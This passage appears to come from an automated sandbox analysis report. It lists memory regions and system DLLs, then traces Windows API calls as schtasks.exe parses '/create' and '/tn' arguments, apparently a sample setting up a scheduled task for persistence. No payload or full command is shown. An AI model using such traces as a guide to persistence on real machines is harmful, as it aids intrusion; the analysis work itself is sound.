0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2448 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2449 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2450 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2451 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2452 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2453 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2454 start_va = 0x340000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2455 start_va = 0x340000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 2456 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 2457 start_va = 0x530000 end_va = 0x6b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 2458 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2459 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2460 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2461 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2462 start_va = 0x6c0000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 2463 start_va = 0x850000 end_va = 0x1c4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 2464 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2465 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2466 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2467 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2468 start_va = 0x1c50000 end_va = 0x1f1efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2469 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2470 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2471 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2472 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2473 start_va = 0x1f20000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 2474 start_va = 0x440000 end_va = 0x51efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 2475 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2476 start_va = 0x2030000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002030000" filename = "" Region: id = 2477 start_va = 0x20d0000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 2478 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2480 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2481 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2482 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2483 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2484 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2485 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2486 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 122 os_tid = 0xf64 [0066.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ffe60 | out: lpSystemTimeAsFileTime=0x1ffe60*(dwLowDateTime=0x508ac960, dwHighDateTime=0x1d9eb0c)) [0066.208] GetCurrentProcessId () returned 0xf60 [0066.208] GetCurrentThreadId () returned 0xf64 [0066.208] GetTickCount () returned 0x17661b6 [0066.208] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1ffe68 | out: lpPerformanceCount=0x1ffe68*=2487269173952) returned 1 [0066.209] GetModuleHandleW (lpModuleName=0x0) returned 0xffd70000 [0066.209] __set_app_type (_Type=0x1) [0066.209] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd9972c) returned 0x0 [0066.209] __wgetmainargs (in: _Argc=0xffdb1240, _Argv=0xffdb1250, _Env=0xffdb1248, _DoWildCard=0, _StartInfo=0xffdb125c | out: _Argc=0xffdb1240, _Argv=0xffdb1250, _Env=0xffdb1248) returned 0 [0066.210] _onexit (_Func=0xffda2ab0) returned 0xffda2ab0 [0066.210] _onexit (_Func=0xffda2ac4) returned 0xffda2ac4 [0066.210] _onexit (_Func=0xffda2afc) returned 0xffda2afc [0066.210] _onexit (_Func=0xffda2b58) returned 0xffda2b58 [0066.210] _onexit (_Func=0xffda2b80) returned 0xffda2b80 [0066.210] _onexit (_Func=0xffda2ba8) returned 0xffda2ba8 [0066.211] _onexit (_Func=0xffda2bd0) returned 0xffda2bd0 [0066.211] _onexit (_Func=0xffda2bf8) returned 0xffda2bf8 [0066.211] _onexit (_Func=0xffda2c20) returned 0xffda2c20 [0066.211] _onexit (_Func=0xffda2c48) returned 0xffda2c48 [0066.211] _onexit (_Func=0xffda2c70) returned 0xffda2c70 [0066.211] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.211] WinSqmIsOptedIn () returned 0x0 [0066.212] GetProcessHeap () returned 0x240000 [0066.212] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x2555f0 [0066.212] SetLastError (dwErrCode=0x0) [0066.213] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0066.213] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0066.213] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0066.213] VerifyVersionInfoW (in: lpVersionInformation=0x1ff620, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1ff620) returned 1 [0066.213] GetProcessHeap () returned 0x240000 [0066.213] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bbb0 [0066.213] lstrlenW (lpString="") returned 0 [0066.213] GetProcessHeap () returned 0x240000 [0066.213] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x2) returned 0x25bbd0 [0066.213] GetProcessHeap () returned 0x240000 [0066.213] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255ae0 [0066.213] GetProcessHeap () returned 0x240000 [0066.213] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bbf0 [0066.213] GetProcessHeap () returned 0x240000 [0066.213] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b10 [0066.213] GetProcessHeap () returned 0x240000 [0066.213] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b40 [0066.213] GetProcessHeap () returned 0x240000 [0066.213] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255b70 [0066.213] GetProcessHeap () returned 0x240000 [0066.213] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255ba0 [0066.213] GetProcessHeap () returned 0x240000 [0066.213] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bc10 [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255bd0 [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c00 [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c30 [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c60 [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bc30 [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255c90 [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255cc0 [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255cf0 [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255d20 [0066.214] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.214] SetLastError (dwErrCode=0x0) [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255d50 [0066.214] GetProcessHeap () returned 0x240000 [0066.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255d80 [0066.215] GetProcessHeap () returned 0x240000 [0066.215] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255db0 [0066.215] GetProcessHeap () returned 0x240000 [0066.215] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255de0 [0066.215] GetProcessHeap () returned 0x240000 [0066.215] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255e10 [0066.215] GetProcessHeap () returned 0x240000 [0066.215] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bc50 [0066.215] _memicmp (_Buf1=0x25bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.215] GetProcessHeap () returned 0x240000 [0066.215] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x208) returned 0x25bdf0 [0066.215] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25bdf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0066.215] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0066.217] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0066.217] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0066.218] GetProcessHeap () returned 0x240000 [0066.218] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x74e) returned 0x25c3c0 [0066.218] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0066.218] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x25c3c0 | out: lpData=0x25c3c0) returned 1 [0066.219] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0066.219] VerQueryValueW (in: pBlock=0x25c3c0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ff708, puLen=0x1ff770 | out: lplpBuffer=0x1ff708*=0x25c75c, puLen=0x1ff770) returned 1 [0066.221] _memicmp (_Buf1=0x25bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.221] _vsnwprintf (in: _Buffer=0x25bdf0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1ff6e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0066.221] VerQueryValueW (in: pBlock=0x25c3c0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1ff778, puLen=0x1ff768 | out: lplpBuffer=0x1ff778*=0x25c588, puLen=0x1ff768) returned 1 [0066.221] lstrlenW (lpString="schtasks.exe") returned 12 [0066.221] lstrlenW (lpString="schtasks.exe") returned 12 [0066.221] lstrlenW (lpString=".EXE") returned 4 [0066.221] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0066.222] lstrlenW (lpString="schtasks.exe") returned 12 [0066.222] lstrlenW (lpString=".EXE") returned 4 [0066.222] _memicmp (_Buf1=0x25bc50, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.222] lstrlenW (lpString="schtasks") returned 8 [0066.222] GetProcessHeap () returned 0x240000 [0066.222] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x255f00 [0066.222] GetProcessHeap () returned 0x240000 [0066.222] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25ccd0 [0066.222] GetProcessHeap () returned 0x240000 [0066.222] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd00 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd30 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bc70 [0066.223] _memicmp (_Buf1=0x25bc70, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa0) returned 0x25c1f0 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd60 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cd90 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x20) returned 0x25cdc0 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25bc90 [0066.223] _memicmp (_Buf1=0x25bc90, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x200) returned 0x25d4a0 [0066.223] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x25d4a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0066.223] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x30) returned 0x257c70 [0066.223] _vsnwprintf (in: _Buffer=0x25c1f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1ff6e8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] GetProcessHeap () returned 0x240000 [0066.223] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3c0) returned 1 [0066.224] GetProcessHeap () returned 0x240000 [0066.224] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c3c0) returned 0x74e [0066.224] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3c0 | out: hHeap=0x240000) returned 1 [0066.224] SetLastError (dwErrCode=0x0) [0066.224] GetThreadLocale () returned 0x409 [0066.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.224] lstrlenW (lpString="?") returned 1 [0066.224] GetThreadLocale () returned 0x409 [0066.224] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.224] lstrlenW (lpString="create") returned 6 [0066.225] GetThreadLocale () returned 0x409 [0066.225] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.225] lstrlenW (lpString="delete") returned 6 [0066.225] GetThreadLocale () returned 0x409 [0066.225] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.225] lstrlenW (lpString="query") returned 5 [0066.225] GetThreadLocale () returned 0x409 [0066.225] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.225] lstrlenW (lpString="change") returned 6 [0066.225] GetThreadLocale () returned 0x409 [0066.225] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.225] lstrlenW (lpString="run") returned 3 [0066.225] GetThreadLocale () returned 0x409 [0066.225] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.225] lstrlenW (lpString="end") returned 3 [0066.225] GetThreadLocale () returned 0x409 [0066.225] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.225] lstrlenW (lpString="showsid") returned 7 [0066.225] GetThreadLocale () returned 0x409 [0066.225] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0066.225] SetLastError (dwErrCode=0x0) [0066.225] SetLastError (dwErrCode=0x0) [0066.225] lstrlenW (lpString="/create") returned 7 [0066.225] lstrlenW (lpString="-/") returned 2 [0066.225] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.225] lstrlenW (lpString="?") returned 1 [0066.225] lstrlenW (lpString="?") returned 1 [0066.225] GetProcessHeap () returned 0x240000 [0066.225] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25c2a0 [0066.225] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.225] GetProcessHeap () returned 0x240000 [0066.225] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xa) returned 0x25c3c0 [0066.226] lstrlenW (lpString="create") returned 6 [0066.226] GetProcessHeap () returned 0x240000 [0066.226] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25c3e0 [0066.226] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.226] GetProcessHeap () returned 0x240000 [0066.226] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x14) returned 0x25c400 [0066.226] _vsnwprintf (in: _Buffer=0x25c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|?|") returned 3 [0066.226] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|create|") returned 8 [0066.226] lstrlenW (lpString="|?|") returned 3 [0066.226] lstrlenW (lpString="|create|") returned 8 [0066.226] SetLastError (dwErrCode=0x490) [0066.226] lstrlenW (lpString="create") returned 6 [0066.226] lstrlenW (lpString="create") returned 6 [0066.226] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.226] GetProcessHeap () returned 0x240000 [0066.226] HeapValidate (hHeap=0x240000, dwFlags=0x0, lpMem=0x25c3c0) returned 1 [0066.226] GetProcessHeap () returned 0x240000 [0066.226] RtlReAllocateHeap (Heap=0x240000, Flags=0xc, Ptr=0x25c3c0, Size=0x14) returned 0x25c420 [0066.226] lstrlenW (lpString="create") returned 6 [0066.226] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.226] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|create|") returned 8 [0066.226] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|create|") returned 8 [0066.226] lstrlenW (lpString="|create|") returned 8 [0066.226] lstrlenW (lpString="|create|") returned 8 [0066.226] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0066.226] SetLastError (dwErrCode=0x0) [0066.226] SetLastError (dwErrCode=0x0) [0066.226] SetLastError (dwErrCode=0x0) [0066.226] lstrlenW (lpString="/tn") returned 3 [0066.226] lstrlenW (lpString="-/") returned 2 [0066.226] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0066.227] lstrlenW (lpString="?") returned 1 [0066.227] lstrlenW (lpString="?") returned 1 [0066.227] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.227] lstrlenW (lpString="tn") returned 2 [0066.227] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.227] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|?|") returned 3 [0066.227] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tn|") returned 4 [0066.227] lstrlenW (lpString="|?|") returned 3 [0066.227] lstrlenW (lpString="|tn|") returned 4 [0066.227] SetLastError (dwErrCode=0x490) [0066.227] lstrlenW (lpString="create") returned 6 [0066.227] lstrlenW (lpString="create") returned 6 [0066.227] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.227] lstrlenW (lpString="tn") returned 2 [0066.227] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.227] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|create|") returned 8 [0066.227] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tn|") returned 4 [0066.227] lstrlenW (lpString="|create|") returned 8 [0066.227] lstrlenW (lpString="|tn|") returned 4 [0066.227] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0066.227] SetLastError (dwErrCode=0x490) [0066.227] lstrlenW (lpString="delete") returned 6 [0066.227] lstrlenW (lpString="delete") returned 6 [0066.227] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.227] lstrlenW (lpString="tn") returned 2 [0066.227] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.227] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|delete|") returned 8 [0066.227] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tn|") returned 4 [0066.227] lstrlenW (lpString="|delete|") returned 8 [0066.228] lstrlenW (lpString="|tn|") returned 4 [0066.228] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0066.228] SetLastError (dwErrCode=0x490) [0066.228] lstrlenW (lpString="query") returned 5 [0066.228] lstrlenW (lpString="query") returned 5 [0066.228] _memicmp (_Buf1=0x25c2a0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.228] lstrlenW (lpString="tn") returned 2 [0066.228] _memicmp (_Buf1=0x25c3e0, _Buf2=0xffd71b08, _Size=0x7) returned 0 [0066.228] _vsnwprintf (in: _Buffer=0x25c420, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|query|") returned 7 [0066.228] _vsnwprintf (in: _Buffer=0x25c400, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff6f8 | out: _Buffer="|tn|") returned 4 [0066.228] lstrlenW (lpString="|query|") returned 7 [0066.228] lstrlenW (lpString="|tn|") returned 4 [0066.228] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0066.228] SetLastError (dwErrCode=0x490) [0066.228] lstrlenW (lpString="change") returned 6 